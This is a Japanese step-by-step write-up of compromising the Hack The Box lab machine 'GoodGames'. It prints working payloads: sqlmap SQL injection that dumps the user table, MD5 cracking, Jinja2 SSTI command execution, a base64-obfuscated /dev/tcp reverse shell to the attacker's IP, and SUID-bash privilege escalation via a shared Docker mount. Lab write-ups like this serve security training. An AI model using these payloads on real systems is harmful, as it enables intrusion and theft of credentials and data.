- 本記事の概要
- ポートスキャン及びアクセス
- Webアクセスできるファイル/ディレクトリ調査
- sqlmapを用いたデータベース内のデータ取得
- John the Ripperを用いてハッシュ値解析
- Webの管理画面へのログイン
- 名前解決のためのhostsファイル更新
- サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行
- サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたOSコマンド実行
- サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル実行
- Dockerマシン上で調査
- augustusユーザーでSSHログイン
- 特権昇格のための調査(SUIDなど)
- 特権昇格(Dockerマシンとのファイル共有の脆弱性)
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「GoodGames」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン及びアクセス
(2) Webアクセスできるファイル/ディレクトリ調査
(3) sqlmapを用いたデータベース内のデータ取得
(4) John the Ripperを用いてハッシュ値解析
(5) Webの管理画面へのログイン
(6) 名前解決のためのhostsファイル更新
(7) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行
(8) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたOSコマンド実行
(9) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル実行
(10) Dockerマシン上で調査
(11) augustusユーザーでSSHログイン
(12) 特権昇格のための調査(SUIDなど)
(13) 特権昇格(Dockerマシンとのファイル共有の脆弱性)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン及びアクセス
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)などポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 10:24 JST
Warning: 10.10.11.130 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.130
Host is up (0.28s latency).
Not shown: 65248 closed tcp ports (reset), 286 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 2.0.2 (Python 3.9.2)
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 446.72 ms 10.10.16.1
2 201.02 ms 10.10.11.130
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.26 seconds
(2) ブラウザを用いて「http://10.10.11.130」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ feroxbuster -u http://10.10.11.130 -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200 GET 89l 882w 74924c http://10.10.11.130/static/images/post-5-sm.jpg
200 GET 7l 21w 2197c http://10.10.11.130/static/images/icon-gamepad.png
302 GET 4l 24w 208c http://10.10.11.130/logout => http://10.10.11.130/
200 GET 2l 47w 3285c http://10.10.11.130/static/vendor/object-fit-images/dist/ofi.min.js
200 GET 7l 110w 5594c http://10.10.11.130/static/vendor/imagesloaded/imagesloaded.pkgd.min.js
200 GET 22l 88w 6942c http://10.10.11.130/static/images/slide-3-thumb.jpg
ーーー(省略)ーーー
(2) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ sudo dirsearch -u http://10.10.11.130
ーーー(省略)ーーー
[18:16:07] Starting:
[18:16:54] 200 - 43KB - /blog
[18:17:21] 200 - 9KB - /login
[18:17:22] 302 - 208B - /logout -> http://10.10.11.130/
[18:17:37] 200 - 2KB - /profile
[18:17:42] 403 - 277B - /server-status
[18:17:42] 403 - 277B - /server-status/
[18:17:44] 200 - 33KB - /signup
ーーー(省略)ーーー
(3) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.11.130/FUZZ" -ic
ーーー(省略)ーーー
12 [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 218ms]
[Status: 200, Size: 85107, Words: 29274, Lines: 1735, Duration: 220ms]
contact [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 424ms]
home [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 424ms]
logo [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 425ms]
index [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 425ms]
download [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 425ms]
rss [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 425ms]
ーーー(省略)ーーー
sqlmapを用いたデータベース内のデータ取得
(1) ブラウザを用いて「http://10.10.11.130」にアクセスして、右上の人間アイコンをクリックする。
(2) 適用なユーザー名(メールアドレス)とパスワードを入力して、「SIGN IN」をクリックする。
(3) HTTPステータスコード500番(Internal Server Error)表示されたため、@ という文字列があることでエラーが発生したと推測できる。そのため、SQLインジェクションの脆弱性があると推測できる。
(4) Burp Stuiteで取得したログイン試行した時のリクエストデータの値を確認する。
【リクエストデータ】
POST /login HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://10.10.11.130
Connection: keep-alive
Referer: http://10.10.11.130/forgot-password
Upgrade-Insecure-Requests: 1
Priority: u=0, i
email=admin%40game.htb&password=admin
(5) Request欄で右クリックで選択し、「Copy to file」をクリックする。
(6) sqlmapを用いてデータベースの一覧を表示すると、mainというデータベースがあることが分かる。
$ sqlmap -r request.txt -p email --batch --level 5 --risk 3 --dbs
【出力内容(一部抜粋)】
[11:04:01] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 652 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: email=admin@game.htb' AND 2085=(SELECT (CASE WHEN (2085=2085) THEN 2085 ELSE (SELECT 3106 UNION SELECT 1968) END))-- aCGE&password=admin
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=admin@game.htb' AND (SELECT 4197 FROM (SELECT(SLEEP(5)))VPhs)-- GqNV&password=admin
---
[11:04:13] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:04:15] [INFO] fetching database names
[11:04:15] [INFO] fetching number of databases
[11:04:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:04:15] [INFO] retrieved: 2
[11:04:18] [INFO] retrieved: information_schema
[11:05:07] [INFO] retrieved: main
available databases [2]:
[*] information_schema
[*] main
(7) sqlmapを用いてテーブルの一覧を表示すると、userテーブルというユーザー情報が記載されてそうなテーブルがあることがか分かる。
$ sqlmap -r request.txt -p email --batch --level 5 --risk 3 -D main --tables
【出力内容(一部抜粋)】
[11:17:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: email=admin@game.htb' AND 2085=(SELECT (CASE WHEN (2085=2085) THEN 2085 ELSE (SELECT 3106 UNION SELECT 1968) END))-- aCGE&password=admin
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=admin@game.htb' AND (SELECT 4197 FROM (SELECT(SLEEP(5)))VPhs)-- GqNV&password=admin
---
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
(8) userテーブルの内容を確認すると、admin@goodgames.htbユーザーのパスワードハッシュ値が「2b22337f218b2d82dfc3b6f77e7cb8ec」であることが分かる。
$ sqlmap -r request.txt email --batch --level 5 --risk 3 -D main -T user --dump
【出力内容(一部抜粋)】
[11:20:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: email=admin@game.htb' AND 2085=(SELECT (CASE WHEN (2085=2085) THEN 2085 ELSE (SELECT 3106 UNION SELECT 1968) END))-- aCGE&password=admin
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=admin@game.htb' AND (SELECT 4197 FROM (SELECT(SLEEP(5)))VPhs)-- GqNV&password=admin
---
[11:20:11] [INFO] the back-end DBMS is MySQL
Database: main
Table: user
[1 entry]
+----+---------------------+--------+----------------------------------+
| id | email | name | password |
+----+---------------------+--------+----------------------------------+
| 1 | admin@goodgames.htb | admin | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+---------------------+--------+----------------------------------+John the Ripperを用いてハッシュ値解析
(1) admin@goodgames.htbユーザーのパスワードハッシュ値がどのようなハッシュ値か確認するために、「https://hashes.com/en/tools/hash_identifier」にパスワードハッシュ値を入力して「SUBMIT & IDENTIFY」をクリックする。
(2) MD5というアルゴリズムで生成されたハッシュ値であることが分かる。
(3) Kali Linux側の操作で取得したadmin@goodgames.htbユーザーの認証情報を「2b22337f218b2d82dfc3b6f77e7cb8ec」をファイルに格納する。
$ echo "2b22337f218b2d82dfc3b6f77e7cb8ec" > admin_hash
$ cat admin_hash
2b22337f218b2d82dfc3b6f77e7cb8ec
(4) John the Ripperを用いてadmin@goodgames.htbユーザーのハッシュ値を解析すると、「superadministrator」のハッシュ値であることが分かる。
$ john admin_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (?)
1g 0:00:00:00 DONE (2025-08-15 18:10) 5.263g/s 18296Kp/s 18296Kc/s 18296KC/s superarely1993..super5dooper
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.Webの管理画面へのログイン
(1) ブラウザを用いて「http://10.10.11.130」にアクセスして、右上の人間アイコンをクリックする。
(2) 「ユーザー名:admin@goodgames.htb」と「パスワード:superadministrator」を入力して、「SIGN IN」をクリックする。
(3) ログインに成功した旨のメッセージが表示される。
(4) 右上の歯車マークをクリックする。その後、「http://internal-administration.goodgames.htb/」にアクセスされるが、名前解決できないためエラーとなる。
名前解決のためのhostsファイル更新
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.130 internal-administration.goodgames.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.130 internal-administration.goodgames.htb」が出力されることを確認する。
(2) ブラウザを用いて「http://internal-administration.goodgames.htb/」にアクセスすると、Webページが表示される。
サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行
(1) パスワードを使い回されている可能性があるため、「ユーザー名:admin」と「パスワード:superadministrator」を入力して、ログインする。
(2) ログインに成功しダッシュボード画面が表示される。
(3) Full Name欄に以下の値を入力する。その後、任意のBirthdayとPhoneを入力して、「Save all」をクリックする。
【送信するデータ】
{{7*7}}
(4) 49(=7×7)が表示されたため、サーバーサイド・テンプレート・インジェクション(SSTI)攻撃ができることが分かる。
サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたOSコマンド実行
(1) nmapコマンドの結果PythonでWebサイトが構築されていることが分かっている。そのため、HackTricks(https://hacktricks.boitatech.com.br/pentesting-web/ssti-server-side-template-injection)でPtyhonのOSコマンド実行の方法を確認する。
(2) Full Name欄に以下の値を入力する。その後、任意のBirthdayとPhoneを入力して、「Save all」をクリックする。
【送信するデータ】
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
(3) lsコマンドの実行結果が表示されるため、任意のOSコマンドを実行できることが分かる。
サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル実行
(1) Kali Linux側で1234/tcpで待ち受ける。
$ nc -lvnp 1234
(2) ブラウザを用いてReverse Shell Generator: Online(https://www.revshells.com/)にアクセスして、IPアドレスなどを設定することでリバースシェルのコマンドを確認する。
(3) 実行するリバースシェルのコマンドをBase64でデコードする。
$ echo "sh -i >& /dev/tcp/10.10.16.10/1234 0>&1" | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvMTIzNCAwPiYxCg==
(4) Full Name欄に以下の値を入力する。その後、任意のBirthdayとPhoneを入力して、「Save all」をクリックする。
【実行するコマンド】
echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvMTIzNCAwPiYxCg=="${IFS}|base64${IFS}-d|bash
※${IFS}はシェルスクリプトの区切り文字でスペースと同じ意味になる。
※Base64でデコードしてそのコマンドを実行するコマンド
【送信するデータ】
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvMTIzNCAwPiYxCg=="${IFS}|base64${IFS}-d|bash').read()}}

(5) 「nc -lvnp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.130] 37080
sh: 0: can't access tty; job control turned off
#
(6) 完全なシェルを奪取する
# which python3
/usr/local/bin/python3
# /usr/local/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl]+[Z]でバックグラウンドに移す
# stty raw -echo;fg
# bash
# export TERM=xtermDockerマシン上で調査
(1) ホスト名やIPアドレスを確認すると、攻撃対象のマシン(GoodGames)ではないため、Dockerのマシンであることが分かる。
※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。
# hostname
3a453ab39d3d
# ip a
→IPアドレスが「172.19.0.2」であることが分かる。
(2) DockerマシンからアクセスできるIPアドレスを確認するために、172.19.0.0/24に対してpingの応答有無を確認する。
※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。
# for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" &); done;
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.073 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.031 ms
(3) Dockerマシンからポートスキャンを実行すると、22/tcpの応答があるためSSH接続ができることが分かる。
※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。
$ for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open
(4) ユーザー名を推測するためにホームディレクトリのユーザー名を確認すると、augustusユーザーのホームディレクトリがあることが分かる。
※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。
# ls /home/
augustus
augustusユーザーでSSHログイン
(1) SSHを用いてaugustusユーザーでログインする。
※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。
# ssh augustus@172.19.0.1
→パスワード(superadministrator)を入力する。
(2) ホスト名やIPアドレスを確認すると、攻撃対象のマシン(GoodGames)であることが分かる。
$ hostname
GoodGames
$ ip a
→IPアドレスが「10.10.11.130」や「172.17.0.1」など設定されていることが分かる。
(3) 現在ログインしているユーザー情報を確認すると、augustusユーザーであることが分かる。
$ id
uid=1000(augustus) gid=1000(augustus) groups=1000(augustus)
$ whoami
augustus
(4) 一般ユーザー用のフラグファイルの内容を確認する。
$ cat /home/augustus/user.txt
823a2dc9adc05aa8c82cf4b6b5e65513特権昇格のための調査(SUIDなど)
(1) sudoコマンドの設定を確認する。
※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。
$ sudo -l
→パスワード(superadministrator)を入力する。
-bash: sudo: command not found
(2) SUIDファイルを検索する。
※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
(3) .bash_historyファイルを確認すると、何も出力されない。
※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。
$ cat /home/augustus/.bash_history
(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。
※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。
$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done 2>/dev/null
80 open
3306 open
8000 open
8085 open
33060 open
40958 open
51978 open
(5) OSの情報を確認すると、「Debian GNU/Linux 11」であることが分かる。
※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。
$ uname -a
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 11 (bullseye)
Release: 11
Codename: bullseye特権昇格(Dockerマシンとのファイル共有の脆弱性)
(1) Dockerマシンと攻撃対象のマシン(GoodGames)の /home/augustus は共有されているため、Dockerマシン上でroot権限で/bin/bashファイルの権限を変更すると、攻撃対象のマシン(GoodGames)上で特権昇格ができることが分かる。
(2) 攻撃対象のマシン(GoodGames)上で/bin/bashファイルを/home/augustus/ディレクトリに移動する。bashファイルの所有者はaugustusユーザーであることが分かる。
※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。
$ cp /bin/bash /home/augustus/
$ ls -l
-rwxr-xr-x 1 augustus augustus 1234376 Aug 16 07:41 bash
-rw-r----- 1 root augustus 33 Aug 15 02:13 user.txt
(3) 攻撃対象のマシン(GoodGames)上でexitコマンドを実行することで、Dockerマシンのプロンプトを表示する。
※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。
$ exit
(4) Dockerマシン上で/home/augustus/にbashファイルがあることを確認する。
※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。
# cd /home/augustus/
# ls -l
total 1212
-rwxr-xr-x 1 1000 1000 1234376 Aug 16 06:41 bash
-rw-r----- 1 root 1000 33 Aug 15 01:13 user.txt
(5) Dockerマシン上で/home/augustus/bashの権限を変更する。権限変更後、所有者がrootユーザーでありSUIDが付与されていることを確認する。
※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。
# chown root:root /home/augustus/bash
# chmod +s /home/augustus/bash
# ls -l
total 1212
-rwsr-sr-x 1 root root 1234376 Aug 16 06:41 bash
-rw-r----- 1 root 1000 33 Aug 15 01:13 user.txt
(6) 再度SSHを用いてaugustusユーザーでログインする。
※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。
# ssh augustus@172.19.0.1
→パスワード(superadministrator)を入力する。
(5) 攻撃対象のマシン(GoodGames)上で/home/augustus/bashを実行することで特権昇格する。
※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。
$ /home/augustus/bash -p
→root権限のプロンプト(#)が表示される。
(6) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
※攻撃対象のマシン(GoodGames)上で特権昇格したプロンプト上で以下のコマンドを実行する。
# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) egid=0(root) groups=0(root),1000(augustus)
# whoami
root
(7) 特権ユーザー用のフラグファイルの内容を確認する。
※攻撃対象のマシン(GoodGames)上で特権昇格したプロンプト上で以下のコマンドを実行する。
# cat /root/root.txt
33138089bab028516238c4aaeedb35f3関連記事(Hack The Box)
※後日作成予定。

